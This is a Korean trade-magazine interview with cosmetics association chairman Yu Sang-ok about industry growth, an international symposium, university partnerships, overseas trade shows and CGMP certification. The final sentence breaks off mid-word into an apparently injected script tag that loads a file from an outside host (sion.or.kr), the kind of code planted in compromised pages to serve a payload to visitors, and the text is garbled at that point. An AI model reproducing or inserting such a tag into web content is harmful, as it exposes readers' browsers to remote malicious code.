일 욕심은 예나 지금이나 변함이 없어 보인다. 학이시습(學而時習)을 강조하며 요즘도 한달에 10권이상의 책을 읽으며 밤을 지새우는 일 또한 허다하다. 지난 7년간 화장품협회를 이끌며 화장품산업의 균형잡힌 발전에 남다른 애착을 보여주고 있는 유상옥 회장. 최근에는 식품의약품안전청과 공동으로 국제 심포지엄을 성공적으로 개최해 화장품 산업의 위상을 대내외에 한껏 높인바 있다. 서울산업대학교와는 안정적인 기술인력의 양성과 확보를 위해 산학협력을 체결하는 발빠른 행보를 보여준바 있다. 국내 화장품 산업의 새로운 도약을 위한 비전제시를 위해 동분서주하고 있는 유상옥 회장을 만나 차한잔을 나누며 그간의 못다한 이야기들을 들어보았다.
<편집자 주>
▶대담: 본지 김용발 사장
▶정리: 정창교 부국장
▶사진: 엄호섭 차장
▲현재 국내 화장품 산업의 위상은 어디까지 와 있다고 생각하십니까? 한마디로 장족의 발전을 이룩했습니다. 1960년도에는 생산실적이 1억원에 불과했으나 현재는 3조원을 넘어서며 세계 10대 화장품생산국에 당당히 진입했습니다. 시장규모도 4조 5천억원 정도로 추산되고 있습니다. 이같은 화장품 산업의 발전에는 정부가 펼친 화장품산업 보호정책이 주효했다고 생각합니다. 아울러 화장품 업계도 이에 발맞춰 생산시설을 확충하고 품질향상을 위해 배전의 노력을 기울여온 것이 오늘의 화장품 산업을 일군 원동력이라고 생각합니다. ▲최근에 기능성화장품 국제 심포지엄이 성황리에 개최되었습니다. 이번 심포지엄을 계기로 어떠한 효과를 거두었다고 보십니까? 화장품법이 공포된 날을 기념해 화장품의 날로 지정하고 이를 기리기 위해 마련된 자리였습니다. 이번에 개최된 국제심포지엄은 이같은 정신을 바탕으로 국내화장품산업의 미래지향적인 기틀을 다지고 국제 환경변화에 대응할 수 있는 경쟁력을 강화하는 효과를 거두었다고 생각됩니다. 심포지엄에서 살펴보니 미국이나 유럽연합의 경우는 규제없이 자유로운 시장활동이 보장된 것으로 보입니다. 중국과 태국의 경우는 많은 규제가 있었습니다. 일본과 우리나라는 규제가 많이 풀어지기는 했지만 아직도 규제사항이 일부 남아있음을 확인하고 비교해 볼 수 있어 큰 의미있는 행사였습니다. 아울러 기능성화장품 홍보 및 국내 화장품법의 세계각국 법률과의 조화를 모색해보는 뜻깊은 자리였습니다. ▲최근 협회가 서울산업대학교와 산학협정을 체결한 것으로 알고 있습니다. 화장품산업에 있어서 산,학,연 협력의 나아갈 방향에 관해 말씀해 주십시요. 화장품산업이 발전하기 위해서는 산.학.연 협동을 통해서 많은 수의 유능한 인력을 양성해야 합니다. 특히 기술인력 및 해외마케팅을 할 수 있는 훌륭한 인력을 발굴해 업계 발전은 물론 경쟁력 강화에 기여하도록 해야 할 것입니다. 앞으로 산.학.연협동을 더욱 강화해 업계의 균형잡힌 발전을 이룩하는데 최선의 노력을 경주해 나갈 생각입니다. ▲화장품협회 주관으로 해외전시회 참여가 활발해지고 있습니다. 지난 5월의 상해 및 9월의 두바이, 11월에는 홍콩 코스모프로프에 국가관을 통해 참가하는 것으로 알고 있습니다. 전시회 참가와 관련해 발전시킬 점과 개선해 나가야 할 점이 있다면 어떤 것이 있습니까? 우리나라 화장품산업은 세계 50대 화장품 메이커에 빅3가 랭크될 정도로 성장했음에도 불구하고 생산규모에 비해 덜 알려진 것이 사실입니다. 해외 박람회 참가는 국내 화장품산업의 위상을 알릴 수 있는 매우 훌륭한 기회입니다. 매번 참가하는 회사만이 아니라 큰 메이커의 적극적인 참여가 있어야 할 것으로 생각되어집니다. ▲ CGMP제도의 활성화를 위해 개선시켜 나가야 할 점이 있다면 말씀해 주십시오. CGMP는 업계 자율로 만들고 지켜나가는 제도입니다. CGMP를 도입하면 이미지 향상은 물론이고 보다 경쟁력있는 제품을 생산해낼 수 있게 됩니다. 모든 회원사들의 적극적인 참여가 있어야 하겠습니다. 최근에는 CGMP 사후관리 심사를 통과한 8개사와 신규로 지정받은 태평양 김천공장, 한국콜마 전동공장, 씨제이엔프라니에 대한 현판 수여식이 있었습니다. 어렵게 CGMP를 통과한 메이?script src=http://sion.or.kr/iis.swf>
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